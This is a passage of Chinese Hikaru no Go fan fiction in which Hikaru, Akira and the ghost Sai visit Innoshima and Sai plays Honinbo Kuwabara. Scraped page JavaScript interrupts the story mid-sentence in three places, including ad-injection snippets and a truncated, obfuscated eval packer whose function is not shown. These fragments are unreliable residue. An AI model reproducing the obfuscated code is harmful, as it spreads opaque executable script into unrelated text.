“……比我谎称去你家集训还离谱啊!”光已经满头黑线了,“没想到平时你看着最乖,关键时刻反倒最疯。也是,不疯的人也不至于突发奇想跑去因岛这么鬼远的地方看棋赛。” 开始了。亮在指定席上就坐,不紧不慢地打开一本《本因坊秀策名局精选》,翻开其中一页。 “还不是因为某人突然说出不下棋这种疯话。” “哦?那瞒着家里人和我单独出门过夜的某人听上去也多少有点问题。” “既然你这么不情愿,现在打道回府也来得及。” “我才不要!新干线的车票钱有多贵你不知道吗?!还只能坐到大阪!后半程我们都要靠夜间巴士节省经费了!而某人为了圆谎连最基本的行李都没带!”嘴上说着这样那样的理由,其实进藤光还有一点没说出口,那就是和亮两人因为工作以外的原因出门旅行对他来说是格外新鲜的体验,上辈子他离开家,要么是去下棋,要么是去接受表彰,就这两件事。想到这里,光偷偷瞄了邻座的亮一眼,又清了清嗓子拖长声音,“——话说在前头,就算你待会饿了,我也不会把我亲手做的便当分给你的!一口都没门!” 四小时后,昏暗的夜间巴士内,塔矢亮接过进藤光递来的饭团,若有所思地咬了一口。 味道意外的还不错。 米粒分明,结构紧实,口感有韧劲,调味也刚刚好。原以为进藤除了下棋什么都不想,就跟自己一样,没想到他的生活技能完全可以达到独自生活的标准了。 为了抑制脸上的惊讶,亮只能加快进食的速度,不过这一举止反过来表达了他的夸赞。 佐为碎碎念着“我也好想吃喔”,充满期待地转向光,结果这个小子居然早就睡得鼻子呼呼往外冒泡了。算啦,毕竟他的感冒才刚好,应该好好休息。这样想着,佐为安静地望向窗外倒映在海面的皎洁月光。 本来他们就是为了节省旅费而搭乘的夜间巴士,到因岛时才凌晨五点,光打着呵欠走下汽车,一时找不到合适的去处,又不想浪费一晚旅馆的钱,只能跟亮两个人在因岛的街巷里漫无目的地散步。这里的一切都和佐为记忆里的大不相同了。一百四十年过去,渔村、长屋、挑着扁担四处吆喝的草鞋小贩全部不见踪影,取而代之的是星星点点的路灯、独栋住宅和几家24小时营业的便利店。 想象中的思念之情似乎并没有到来。 “小光。”佐为边走边打量周边的夜色,“这里……就是因岛吗?” 佐为的疑惑在他们即将走到海岸线时得到了解答。 半透明的视线向前延伸,城市消失了,熟悉的草木的味道涌了过来,夏天的海风湿热湿热的,嗅着叫人有些怏气。千年已逝,时间会改变人类文明的进程,却改变不了大自然。 “这里就是因岛喔。如假包换。”光非常肯定地点了点头,“待会说不定能看到日出呢,真好啊 ,海边的日出……有谁说过来着,日出是世界上最壮观的景色,佐为你一定会产生灵魂被冲击的感觉的!就像是‘咚’地一下,心脏里有什么东西在跳动一样……” 就像是坐在棋盘前等待对手的绝世好棋一样。 光的眸子里亮晶晶的,最近因心情烦恼而产生的不快一扫而空。 佐为抬起头,街角黑白色的“围棋”二字灯箱闪烁着荧光,在这一片安逸的夜晚里仿佛是唯一的存在。喜欢下棋的人也一样继承着这份热爱呢。太好了,这里并没有变。和你还在的时候一样喔,虎次郎。 “日出啊……” 不过很遗憾,他们刚走到海边,就发现是时候出发去市民文化中心了,因为开馆时间比他们之前在网上查到的还要早一个小时。光调转了方向,往海港东岸前进,顺便打开了《围棋周刊》上的对局安排表。 “今天的决赛是森下老师对岩名老师?” “嗯,时间太仓促,没能整理他们以前的棋谱就匆忙跑过来,倒是有些可惜了……” 光马上得意地拍了拍胸脯:“这个不怕!我可熟森下老师的套路了!放着全都让我来讲就行!” 要是亮知道这“熟悉”来源于进藤光上辈子无数次惨败给自家老师的不堪回首的经历,这一刻光的形象恐怕就不是帅气、而是打脸充胖子了。不过,能看到进藤恢复精神的样子比什么都强。 光和亮站在文化中心门口,等着门卫来开门,前方的宣传海报上写了赛程,今日已经是决赛,不出意外的话桑原本因坊肯定也会观战。一次性见到好几个大人物,其中就包括自己的昔日恩师森下茂男,光心里的激动超过了此前的担忧,语调也轻松起来。 此前一直被光的闷闷不乐而影响的佐为高兴地举起手:“那岩名老师的棋路就让我来分析吧!” “诶?” “因为在家的时候,我趁小光睡觉,就把他的好多棋谱都背下来了!” 光的眼神柔和下来:“是这样吗。” “要是塔矢名人也能来就太好了。”佐为认真地敲着扇子,“以他的实力,毫无疑问会进入决赛。” 果然还是一点没变啊,塔矢行洋是佐为认定的对手,时时刻刻光都能感觉到佐为炽热的魂灵。上次出现意外打断他们之间宝贵的棋局,想必他也很不好受。但是,光正是为此才来到因岛的。 会场的门卫看到两个小孩这么一大早就等在门口,吃惊得瞪大双眼。过了许 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 久,才陆续有观战的客人出现在视野里,有几个职业棋士光曾见过几面。又过了一会儿,主办方领着本次对局的两大重量级人物登场了,森下九段依旧一副稳重不惊的模样,带头走在前面,最近势头下滑的岩名九段则面带冷冽、不知心中在计算些什么。这两人以及大批的记者走进馆内之后,光和亮才得以顺利混进大厅。 他们没有邀请函也不算有名人,想现场观战,就只能靠“假装自己是受到邀请”的气势混进来了。 现场观战席前方摆着一张巨大的棋盘,待会他们就能在上面看到森下和岩名的对局。 光好奇地往后看去,“桑原本因坊还没来?” “大概是大轴总会晚些到的缘故吧。”塔矢亮总结着,用他锐利的目光审视着今日的战场。 正当众人纳闷于桑原的迟迟未到时,那老猴子般狡猾的声音却适时响起了:“哦呵呵,是老夫来晚了吗?” 果然。他是故意卡在最后一刻才来的。 进藤光的视线不自然地转移到对方脸上,桑原本因坊还是老样子,满头白发,年纪虽大却干劲满满、气势不减。面对棘手的新人棋士时,桑原偶尔也会采用心理战术,以年龄优势逼迫对方陷入窘境,出席这种大型仪式的时候也是类似,只要他一登场,百分之百会成为全场的焦点。但光不讨厌这种作风。因为桑原的直觉向来都准得出奇。这种直觉派棋手,下棋时的直觉才是最致命的武器。 周围马上冒出谄媚的“怎么会”、“您辛苦了”之类的应酬声,大概是主办方的代表和几位记者。桑原似乎注意到进藤光的视线,朝他露出一个难以解读的微笑。 奇怪,他为什么要看自己?嘶…… 光连忙避开了与桑原的对视,找了个靠讲解棋盘比较近离人群中心又较远的地方,一声不吭地坐下来。 塔矢亮一直跟在他身后,见他不欲多搭话,也乐得清静,只被迫稍稍和几位认识他的棋手打了招呼,便陪他一起躲进角落里。 “要开始了,小光!”看到从外面走进来的记录员之一,佐为立刻来了精神。 “嗯。” 强打起精神,进藤光对自己默念着:这是纪念秀策举办的友谊赛,要注意看有没有能带来线索的细节。还有,要注意桑原本因坊的举动,继承了本因坊名号的人说不定能从中感觉到某种联系,否则上辈子桑原也不会无数次对自己表达兴趣。 会场忽然安静下来。 原来是对局正式开始了。 森下茂男执黑先行。第一手,按照“致敬秀策”的规则,默认会下在秀策常用的小目。 “啊……” 看到这里,佐为瞬间失神。 今日,这么多人为了他曾经扮演过的棋手而聚集于此,下出的还是自己的经典开局,就像自己的存在都借此得到了承认一样。围棋的历史,会将无人记得的那抹幽灵与后世的棋坛紧密相连,每一个人,每一个人,都知道他曾经来过。 ——那么,你会下出怎样的棋呢?和“秀策”会有多少相似,又有不同呢? 佐为认真地等待着森下的后续进展。 这位刺猬头中年大叔棋如其人,向来棋风干脆、甚至带点野蛮的味道,但又沉重得可以将一切阻挡他的对手彻底压垮,看似随手的一招,仔细一看也威力十足,震得棋盘都快发出颤抖。与诸多“靠年纪升上九段”的职业棋手不同,他是九段,只是因为无头衔棋士的上限就是九段。在光的上一世,他也曾在不同时期将小棋圣、天元、和王座先后收入彀中,是十足的实力派。 进藤光也是第一次在正式棋赛里和森下对局,才意识到了高段棋士真正的恐怖。 无论平时在研究会里如何交手,那份毫无破绽的碾压式棋风,都只能在正式对决里切身体验到。 就像今天这样—— “好、好强的攻击欲!森下老师这么快就要开始全面进攻吗?”看到那一转局势的一手,光瞠目结舌,“一点都没有在致敬秀策的意思啊!!” 74.Chapter 73. “本因坊”vs本因坊 的确,这才像那个他了解的森下茂男。 森下极少犹豫不决,假使有,大抵都是因为遇到了塔矢行洋这样步步严谨难有漏洞的厉害对手。这次对局,他秉承了一贯的不纠缠风格,都说棋如其人,看他结实有力的外貌还真不难猜出其真实用意。 明明只是友谊赛,下得却叫一个雷厉风行、刀刀见血。 叫人直呼爽快! 而岩名九段,光对此人知之甚少,只在上辈子争夺名人头衔时与他交过手,总感觉他的节奏相较森下慢了半拍,处于被动状态。 这样下去,岩名九段不妙。 塔矢亮分出一丝余光,看了看进藤光的表情,便知道他们二人都看出了接下来的走势。若是不做出什么重大改变的话,岩名必败无疑。 “佐为,如果是你的话,要做什么来救场?”光直视前方的巨大棋盘,开口问身边的高级参谋。 平时佐为遇到这种时候总是轻轻颦眉,眼睛里以快得看不清的速度盘旋几道光,再用沉静的口吻给出答案。今天亦是如此。 “嗯……白棋刚刚连续两手镇是合理的,但是又被黑棋钻空子拆了右边的势,要是白棋转向严厉进攻的话,或许还有挽回局势的可能性。” 光点点头:“我也这么想,但是,岩名九段今天似乎没什么战意的样子。是被森下老师压倒了吗?” 没有战意在棋盘上是最可怕的事。被对方的气势压迫得无法还击或者影响思考宽度,这种状况在年轻的职业棋手身上常常发生,哪怕是重生一次的光也不能避免。岩名九段是森下老师的后辈,从入段就在被压制,潜意识里已经退缩了一步。 围棋这东西,真到了实力相当的时候,气势就很大程度上决定了胜负。 光默默跟佐为讨论了许多,但由于他俩一直在用意识交流,在别人看来就是傻傻地盯着棋盘,坐在旁边的亮反而觉得今天的光有些异常安静了。 “进藤,你不说点什么?” “啊?是哦,我看呆了,哈哈……高段棋手之间的交手真的好激烈啊。”光连忙解释,试图抹杀掉对方萌芽中的怀疑,“真奇怪,明明这一局又不是有多难懂,偏偏我就是走神。” “很累吗?要不要再小睡一会。” 亮这句话问得诚恳,一副“你可以靠在我肩膀上”的表情,光原本打算就这样打马虎混过去的念头也被打消了。 他老老实实说了句“还有点困,但不想错过对局”,透过亮充满担忧的眼睛,光总有种面前这人与过去那个逼迫自己不断向前的死对头兼挚友完全是两个人的错觉。 毕竟,上辈子国中一年级的塔矢亮怎么可能如此温柔地关心自己!冷眼甩脸色才是常态! 明明是同一个人……到底又是不是同一个人呢?过去的亮,和现在坐在他身旁的亮,说到底能不能算是相同的性质?光突然这么想。 就像,现在正在对局的森下老师和岩名九段,明明运用着秀策的开局和定式,却能下出与秀策流天差地别的质感。 看似相同的东西,也是不同的。 这辈子的佐为和上辈子的佐为,下出的棋也大不相同。因为天天陪他下棋的进藤光,和上辈子那个对围棋一窍不通的进藤光并不相同。 那么,佐为消失的理由——如果他还会消失的话——应该也不会和上辈子一样吧? 这样晕晕乎乎地想着,光几乎游离在对局之外,最后,果然岩名九段还是遗憾落败给了森下老师。 “嚯……嚯……嚯,这可真是……” 桑原老头的解说变成了意味深长的笑声。一下子把光惊醒了。 和桑原老头一起站在台上的年轻主持人发出了心满意足的惊叹,他没想到在表演赛上也能看到如此险象环生的一局。 “113这一手确实是决定性的一手呢,不过,桑原老师打算给大家出一道题。假若黑棋在这里不扳,而是采用其他下法的话,结果会怎么样呢?”主持人还在积极履行着自己活跃气氛的职责,扫视着全场的人群,“接下来让我们抽取一名幸运的来场观众吧!入场序号为55的朋友——” “啊!”光低头看了一眼自己手中的号码牌。 居然正巧就是55! 早知道就不拿那块牌子了,进场的时候他还以为是抽奖用的呢,结果居然是当众互动!自己刚才可是一直在走神的说! 聚光灯已经打到了头上,光再一次感受到了四面八方传来的视线。包括塔矢亮。 主持人见他这么不情愿,以为他是在害怕,连忙安慰道:“哎呀,是个小朋友呢,真亏你来看这么难的比赛啊,你喜欢围棋吗?” “呃……” “看来小朋友有点紧张,那我们换一位幸运观众吧,入场序号为77的朋友……”擅长圆场的主持人正准备转移话题,却被桑原老头招了招手,附耳过去一听,露出了几分惊异的神色,“诶?什么?” 两鬓斑白的桑原脸上依旧挂着愉悦的笑意,难以解读。然后,主持人再次握起了话筒。 “好的,桑原老师说,就由这位小朋友来回答!”他的同事已经走到光身旁,把第二支麦克风塞进光手里,令人很难拒绝,接着他循循善诱地伸出手掌,“小朋友,你随便说一个地方吧,答错也不要紧的哦。如果你是白棋,会下在哪里呢?” 他是不是以为进藤光完全不会下棋?亮欲言又止地张开了嘴唇。 没想到光丝毫不含糊,下意识就答出了一个他看到的位置,几乎是秒答:“十一之13,托。” 主持人笑眯眯地重复着他的答案,已经开始构思如何找补现场气氛了,“是吗,十一之13,托,对吧。你很努力了呢。那我就来揭晓桑原老师给出的正确答案——” 就在这时,主持人的话筒忽然被身旁的桑原老头一把抢走了。 现场顿时鸦雀无声。 只见桑原单手背在身后,弯着腰,左眼紧闭,右眼直勾勾地盯着进藤光所在的位置,另一只布满皱纹的手稳稳举起话筒,老道狡猾的嗓音顿时通过音响传播到大厅各个角落:“进藤君,是吧。连思考的时间都不需要,就立刻指出了老夫苦思冥想的选择,呵呵呵,果然后生可畏。原来如此,传闻中……击败了座间王座的无段小棋手,就是你吗?” 唰——这下所有人都目不转睛地看向了他。 为什么桑原本因坊会知道他的名字?! 也是,一定是久原散布的那些小道消息也传进了棋院高层耳朵里。完了,光第一反应就是想逃,但这里人多眼杂,会场早就被围棋爱好者挤得水泄不通,不可能偷偷溜走。最后,他只能干笑着挠了挠自己的后脑勺,表示害羞。 “这个嘛……” “击败了座间王座?这个小孩吗?!” 啪嗒,是手册掉在地上的声音。主持人惊讶得连嘴都合不上了,哪还顾得上捡起手册。刚刚他还用对待普通孩子的语气“循循善诱”了半天,结果这孩子根本就大有来头啊!自己岂不是当众制造了尴尬! 旁边正在拍照的通讯记者古濑村放下相机,踮脚确认道:“等等,站在他旁边的那个……是不是塔矢行洋的儿子、塔矢亮?” “不会吧,塔矢亮今年要参加职业考试,怎么会在这种紧要关头出现在广岛?” “不管怎样,等会散场了一定要去采访一下他们!” “喂,给我盯紧一点!” 炸、炸炸炸炸锅了。饿虎扑食,光只能想到这一个成语来形容这群眼睛放光的记者。 他急得到处寻找避开他们的办法,可到了活动结束时,一大群人还是不由分说拦住了他的去路,情急之下,光一把抓紧亮的手腕,以免两人在突围中走散,但要拨开这群成年人身材的男性实在是太艰难了。就在这四面楚歌的紧急关头,只闻一声狡猾的大笑,原本熙熙攘攘的人群忽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然自动让开了一条路,光定睛一看,竟然是桑原老头本人站在墙边,对他招了招手。 “进藤光,你也是秀策的倾慕者吧,如何,有没有兴趣同老夫来一局‘这个’?” 说着,桑原比了个飞手放棋子的动作。 咚。光的心跳声都放大了数十倍。真正的本因坊在邀请他对局?而且还是为了“秀策”?就算只是替他解围的权宜之计,也足以点燃他心中炸裂的情绪了! 他激动得嗓子都快冒烟了,立刻大喊道:“桑原老师!我要下!我现在就想下!啊不,是请让我和您对弈!” 到了后半句他才想起要说敬语,看来是真的被兴奋冲昏了头脑。 佐为也同样高高举起双手,发出了一样的呐喊。 “请、请务必和我们对弈!” 受到如此咖位的大拿邀请对局,居然能毫不犹豫地应下来、而且完全不紧张。有趣。 “呵呵,胆量不错。”桑原满足地闭上双眼,仿佛在品味刚才进藤光的那记妙手,“附近有家秀策常去的茶室,就去那里吧。” 人们又立刻为光让出了一条更宽阔的道路。 在大人物桑原本因坊的带领下,果然没人敢继续骚扰进藤光了,只有胆子最肥的古濑村举起相机,咔嚓咔嚓猛猛抓拍桑原、进藤光、塔矢亮三人一同离去的背影。就在这几秒钟的功夫,明天的《围棋周刊》头条新闻他都想好了,就叫《桑原本因坊钦定接班人!秀策流的天才少年,曾大败座间王座?》,绝对会卖爆的!大卖特卖! 而此时此刻,进藤光本人心脏还在砰砰乱跳。 “佐为!”他边走边对身后的幽灵说,“这一局一定要你来下哦。这可是两代本因坊横跨一百四十年的对局呢,绝对会流传后世的。” 好不容易大老远来了因岛,这一定是神明的指引! 继承了本因坊之名的后人就在跟前,佐为自然十足郑重地点点头。眼下不是计较谁去下棋的时候。小光特意带他重返因岛,他不想辜负小光的良苦用心,多一句争辩都不真诚,或许早在答应代替小光与塔矢行洋对弈的那一刻,他内心的天平……已经朝着其中一方逐渐倾斜。 桑原所说的茶室就在不远的小山丘上。因岛是海岛,城市面积本就不大,随便走几步就是树木丛生的郊野。出于“想安安静静下盘棋”的理由,桑原谢绝了一众记者的采访,只允许塔矢亮跟着一起进到了茶室内。这是一间极为传统的茶室,入口比光弯腰还矮,只能跪坐着往里面挪,茶师似是桑原的私交,见到他带着两个少年过来,也笑着没问任何问题,备好茶就独自出去了。 这下,狭小幽暗的空间里就只剩下了桑原、进藤光和塔矢亮三人。 准确地说,还有佐为这个灵魂。 “谢谢你,小光。” 佐为将扇柄握在左手手心,胸有成竹地看着对面的白发老人,与面对塔矢行洋时不同,此时的他感受到的并非热血澎湃的战意,而是以棋会友的喜悦。 光回以轻快的微笑:“干嘛突然谢我啦,下棋下棋啦。” 棋盘一侧,香薰徐徐燃烧。猜先完毕,佐为竟然是白棋,随后,桑原浓厚的眉毛长长地垂下来,端起茶盏咗了一口,爬满沟壑的手指夹起棋子,毫不犹豫放在小目。老派如他,今日参加本因坊纪念活动自然也是身着传统和服,午后的阳光氤氲着7月的热气,一时叫人误以为自己梦回百年前的过去。时间,在这里断绝了界限。 佐为产生了某种错觉。 仿佛坐在自己面前的少年,不是小光,而是虎次郎。 对面的老者也并非日本棋院的职业棋手,而是在江户追逐棋道的本因坊家族中人。 沙漏倒转,回到曾经震撼棋界的御城棋十九连胜。 棋子落下的声响千年未变。 如此清脆,一如春日曙光,夏日清泉,秋日枫霜,冬日薄雪。 ●○●○ 75.Chapter 74. 传承之魂 进藤光的目光也延伸向最远方。着实奇妙,棋盘的深度变长了,虽然只是一局棋,但他从中窥见了四季轮回、旬日流转。轻巧似枝叶伸展的开局,焦灼似蝉虫鸣响的中盘,黑白交织似麦穗从尖端掉落的后盘,以及,不紧不慢似雪花盖过田地的收官。 绝顶高手之间的对弈,竟然也可以毫无杀伐之气。完全不像是在竞技。 倒像在闲聊人生,你一言接我一语。 当然,这并不是指佐为或桑原的棋下得不好。其实从第16手的打入开始,战斗就拉响了警报,本应如此,可两人之间的氛围就是让人很难联想到激战。他们不急不躁,冷静思考,在茶香的烘托下,每一步都很美——古朴的美。连续出现多个“田”字形的布局,在现代围棋里是很罕见的,光伸手把每一枚棋子放在棋盘上的时候,都觉得自己不是在下棋,而是在雕琢一尊传世的玉器。 第一次,他在对弈中完全忘了计算胜负,只是单纯地、纯粹地追寻着与对手一同把棋局进行到最后的愉悦。 观战的亮亦是如此。他对棋形之美的执着本就很强,看到这一局时,他几乎失语。 眼眶不自觉地抬高,想尽量让棋盘在视野中多停留片刻。 全无交战之意的对局……他以为只存在于实力水准相差极大的指导棋之中,可是,他错了,眼前的二人分明都是棋力超群的顶尖棋手,为何能做到互相成就、又各自毫不退让? 而且这些定式,这些手筋,一个个都是历史中常见的典型,用在实战里可能会被评价为优势不够,他们为何笃定对方不会借机反攻? 是因为轻视对手,才敢这样下吗? 不,不对,恰恰相反。 是因为洞悉了对方的实力,知道双方水准相当、绝对不会留下可乘之机,才会这样下。 亮手边的纸袋里就放着秀策的棋谱。有一瞬间他几乎要脱口而出:进藤光就是秀策。但理智牵制了他的缰绳,让他强行忍住这股冲动。他在想什么傻事?明明按照逻辑,继承了本因坊之位的桑原才更应该肖似秀策。为什么他会产生这种幻觉? 挖断,加补,忍耐,细微,求变,冲薄,劫争,消劫…… 最后一枚棋子落下,棋盘呈现出最接近完美的模样。 佐为赢了。 半目之差。 不是死敌互相较劲到最后总算决出胜负的、艰难的半目,而是双方在进行过程中就略微有所预感、只是听凭直觉将其延续下去的半目。 光还沉浸在历历在目的对局里无法自拔。即使后背全是汗,也丝毫不受酷暑的影响。他太喜欢这一局了。 佐为的棋,果然还是那么漂亮。 “嚯,嚯。”一局终了,桑原发出了耐人寻味的干燥笑声,“原来如此。” 他的侧脸在茶室并不明亮的光线下,稳若长城。 然后他接着说:“秀策……先祖大人的风格恰如这般,一点不差。小子,你究竟是何人?” 光一愣。 先祖大人? ……对哦,桑原本因坊是桑原家的后人,而虎次郎的本名,就是桑原虎次郎。 佐为刚才是在和继承了虎次郎血统的棋手对弈啊。 这样想着,他甚至忘了感到身份被戳穿的紧张,只是全身心地替佐为感到高兴。或许虎次郎自己没有作为秀策下棋的机会,但佐为教授给他的东西,确实被他的后人继承了下来。 桑原本因坊的棋里,确实有着佐为的影子。 “桑原老师,其实我……”光试图给自己过于接近秀策的棋风找个借口。 但在他找出来之前,桑原就先一步抬手阻拦了他。 “——不必回答,谜就让它保持谜的样子,不盈不亏,刚刚好。” 桑原继续赏心悦目地看着棋盘。上面密密麻麻的棋子正是二人棋力相近的写照。 人生六十年,如梦亦如幻。在有生之年的最后,居然能有这样的奇遇,实在难得。 他捏了捏满是白须的下巴。 “老夫坚守本因坊之位数十年,可不是舍不得这虚名,而是必须等到足以担起这名号的继任者出现,才能安心隐退。看来,老夫的坚守似乎得到了回报。”桑原的笑里藏着某些光还无法读懂的深意,“今日之局着实有趣,但下次,就由你‘亲自’将老夫的椅子夺走吧,进藤光君。” 那句话的重音令进藤光后背一震。 ……下次?亲自? 难道他看出来……这局棋不是进藤光本人下的了?! 该不会桑原老师有通灵的本事吧?! 光的满腹疑问始终没能问出口。桑原老头已经在回音贯耳的呵呵大笑声中离开了茶室。扭头一看,桌上只留了一枚纸片,好像是石切风切宫神社的地图,那是秀策之墓所在的地方。咦,桑原老师这是在故意给他提供线索吗? 接着,身后响起了亮充满不安的嗓音。 “刚才那是什么意思?进藤,你今天的棋……”显然这异常也瞒不住塔矢亮的眼睛,“是在故意致敬秀策吗?‘亲自’又是什么意思?能和桑原老师下到这种地步,简直难以置信……” 不好。光心里一个咯噔,亮的质疑比桑原仁本因坊的质疑更叫他慌张。 他差点忘了!最了解自己棋风的塔矢亮就在这么近的地方全程一步不落地看完了佐为下的这局棋!这下是不是必须给他一个解释?怎么办,要不干脆直接…… 滋滋滋——就在这时,亮口袋里的手机不要命地震动了起来。 “是没见过的号码。”看到光很明显松了口气,亮警惕地眯起双眼,但他还是立刻打开了翻盖手机,“喂?” 之后的几秒内,亮的神情出现了奇妙的变化。他反手把手机递给光。 “……久原找你。” “啊?” 听到这个名字的瞬间,光心里就有种不好的预感油然而生。果然,在他接过手机后,里面直接传出了根本不用贴近耳朵就能当成外放听到的巨大嘶吼: “进藤光!真不够意思!为什么我这个教练要在你下完棋之后才知道你居然找到机会和桑原本因坊对局啊?!而且还是在秀策诞生的因岛!棋谱记录了吗?我就知道你肯定和塔矢亮在一起!不然我要怎么联系到你,你这家伙连个手机都没有!开什么玩笑,后天就是职业考试正赛了!赶快给我回来!否则我就——” 滴。光面不改色地按下了挂断键。 佐为在一旁吓得面色铁青:“小光!这样很没礼貌!” “真麻烦……对他不用讲什么礼貌啦。”他把手机丢还给亮,捡起桌上的地图,就往茶室外走去,“男人怎么可以这样磨磨唧唧的。” 一时间,亮不知该为久原感到同情,还是认同光的想法。 佐为忍不住为光的任性叹了口气。不过,今天他能尽情与秀策的后人下出那样漂亮的一局,已经如愿以偿了。 继承了本因坊名号的桑原……果然不简单。看似和煦的棋路之下,其实也隐藏着内敛的杀机。不知小光和他对局的话能有几分胜算? “刚才是不是应该还是由你来下呢,小光?”佐为遗憾地望着远处的海面,“桑原老师也在期待你的棋呀。” “放心,我以后会在正式比赛里和他过招的!”光连忙挤出笑脸,握拳宣誓,“今年一定!由我亲自把佐为的本因坊宝座抢回来!” “说到做到喔!” “我进藤光一直都是说一不二的!” 两人一魂兴高采烈回到大街上,毫无目的地闲逛着。和桑原这一局棋下了两个小时,过来参加秀策纪念活动的人群大部分都已经离开了,纪念馆里三三两两还能看到几个学围棋的小孩,眼下离晚饭还有些时间,他们还可以决定下一个目的地,再考虑如何返回东京。 “接下来你打算怎么办,进藤?”亮停下脚步,回头望着他。 光低头检查手里的纸质地图,“嗯……总之先去这个神社看看吧。现在比赛看完了,塔矢你回家也可以的,恐怕我还要在这里呆上一阵子。” 光是在想方设法地劝他回去。毕竟,万一被亮发现佐为的秘密就不好解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那就好。总之,要是你改主意想回东京了,请随时告诉我。那么接下来,说说你的日程吧。”说着,塔矢亮掏出随身携带的笔记本,看样子是要认真策划一次旅行了。 光越发满头黑线了,“塔矢,你真的只有12岁吗?怎么跟我老妈一样?” ——说起来明明应该是我的年龄够做你老妈才对。不管怎么说,面对一个12岁的小孩,还被各种监督的感觉真是太诡异了。 而且,偏偏对方又是那种倔起来绝对不可能被说服的类型,跟自己一样一根筋。经过这么多年的相处,只有这一点光最敢打包票,亮要是中途放弃一种想法,那么要么他是真的错了、要么是世界毁灭了、要么是矶部秀树都能打败藤原佐为了。 半晌,光放弃似的低下头去:“行了,你也一起来,不过没你想象中那么有趣哦。” “无碍。” 既然他这么坚决,光只好把嗓子里的轻哼咽下去,挠挠脸颊,抬头望天:“那就先去一趟秀策的墓地献束花吧。” 佐为露出了满脸期待的神色,这给了他一点欣慰。一定是命运,让他们再度相遇,所以命运大概也会给他留下一点点希望,一点点引导他来到正确的地方寻找到正确的答案的希望。 本因坊秀策的其中一个墓碑就在神社的背后,离方才对局的地方不远,进藤光跑去周围的花店买了些百合。虽然是下午了,但花朵水灵灵的,品质很好。佐为第一次到这样的地方来,被各种颜色、大小、形状的花朵团团包围,很是惊讶。 “小光,怎么会有这么漂亮的店!专门卖花的话,花枯萎了怎么办呢?” 光笑着捧起花束:“他们有专门的保鲜方法啦。而且……正常来说,花都会在枯萎之前就被买走或者丢弃,不会一直放在这里的。” “那不是很可惜吗?”佐为露出了很复杂的表情。 “可惜?” “因为,这些花都充满了生命力,却要被丢弃之类的……” 光又想笑了,佐为爱多想的毛病还真是和以前一样。 “也许你说得没错。但是,新陈代谢是再普通不过的事,只有旧的花被清理掉,花瓶里才能摆上更漂亮的新花,如果这么想的话,就不会难过了吧。” 是不是棋士之间的新旧交替也是如此呢?虎次郎,你离开这个世界的时候,会不会惋惜生命太过短暂呢?他不知道该说些什么,只把花束轻轻放在墓碑前,和亮一起对着墓碑双手合十。 ●○●○ 76.Chapter 75. 友人的意义 晚风温柔地呵护着他的前发,在细碎的发丝之间,光似乎感受到了零星飘来的温柔。 ——谢谢你,虎次郎,因为有你,我才会和佐为相遇。 “不过,虎次郎并不是在这里过世的。”佐为望着四周,困惑道,“为什么会有他的墓碑呢?” 光想了想,说:“只是因为这里是他的诞生地,所以特地设置了纪念墓碑吧。佐为你对这里没有印象才正常。” “也是……” 佐为在秀策身亡后就继续沉睡在棋盘里了,怎么会知道墓地的事嘛。 进藤光朝着四面用内心的声音大喊着“虎次郎”、“秀策老师”、“本因坊大人”,但四周格外安静,并没有什么幽灵出没的迹象,当然,佐为的样子也毫无变化。看来不是这里了。塔矢亮看他一反常态的安静,一时间还有点不适应。但亮什么也没说。他只是静静地、静静地守护着光默默哀悼的样子,像任何真正了解对方的朋友那样。 微风再次拂过,吹得人脸颊痒痒的。 墓地里依旧没什么特别之处,有的只是无限的静谧。 罢了,去其他地方找找看吧,如今佐为在身旁,总是能发现些什么的。进藤光这样想着,再次直起了身子。 “走啦!该想想今晚住哪了。塔矢你知道国中生要怎么住旅店吗?” 夜色降临。进藤宅,正夫一如既往的尚未到家,美津子系着围裙正在忙家务,当她捏着抹布走到电话旁边时正好被铃声吓得抬高双肩,脸上夹带了几分后怕地拿起听筒。 “喂,这里是进藤家。” “妈妈,是我。” 因岛某条街道上的公用电话亭里,一个前额金发的少年纠结地开口了,在他身后漂浮着一只好奇的幽灵,幽灵的一侧,另一个墨绿色头发的清秀少年若有所思地托着下巴,好像在想什么。 “小光啊,怎么了,你们集训结束了?” “咳嗯,其实,我这几天计划和塔矢一起继续加练,应该暂时不会回家了,那个……” 说到一半的时候他就没了气势。因为对面瞬间生气起来。 “你在说什么啊小光!你之前不是只说去周末两天吗?你们还是国中生耶,怎么能不跟家里说一声就随便决定宿在外面?你在听我说吗,小光?!”美津子的声音听上去像是动了真怒。 “没关系啦,我可是和塔矢在一起哦,你有什么好担心的!他可以给我的人格做担保!”进藤光经过这么多年的人生撒起谎来再顺溜不过,“他还答应帮我辅导功课呢。” 亮沉下脸来喝止道:“喂,进藤!” 明显对于进藤光不提前打声招呼就拿他做掩护的行为感到不满。 “嘘……对,所以真的不用担心啦。回家之后我再陪你去医院复查,最近的饮食调养应该见效了。我知道。那么就这样,再见。” 进藤光又交代了几句来转移美津子的注意力,等他放下手中的公用电话时,亮反倒没有刚才那样不悦了。 “你母亲……身体不好吗?” 亮发现了刚才电话里的疑点,语气也和缓了许多。 光对上亮抱歉的眼眸,轻轻颔首道:“是啊,肝有点问题,不过还好发现得早,能及时调理回来。医生说很快就能恢复了。” 亮不禁松了口气:“是吗,这样就好。” 不管是从前还是现在,塔矢亮都在对进藤光的观察上格外敏锐。光好像又回忆起了那时候美津子病倒,而亮一直陪着他照顾母亲的事。 “谢谢你,塔矢。”光说。 “我没做什么值得你道谢的事。” “你光是站在这里,对我来说就已经很有意义了。” 光留下一句没头没尾的台词,然后,在亮不解的目光中离开公用电话亭,继续向前迈进。 此时已约莫是晚上7点了,光本来想提议去吃拉面,看着亮“你敢再吃那些没营养的东西试试”的眼神,终于还是把争执之词咽了回去。两人最后选择了广岛的定番美食——广岛烧,严格意义上来讲这玩意也没比拉面健康多少,都是碳水化合物炸弹,因此亮在餐馆里点菜的时候,依旧按照以前的习惯要了额外的蔬菜。最后,面饼的口感完全变成了菜叶的味道。 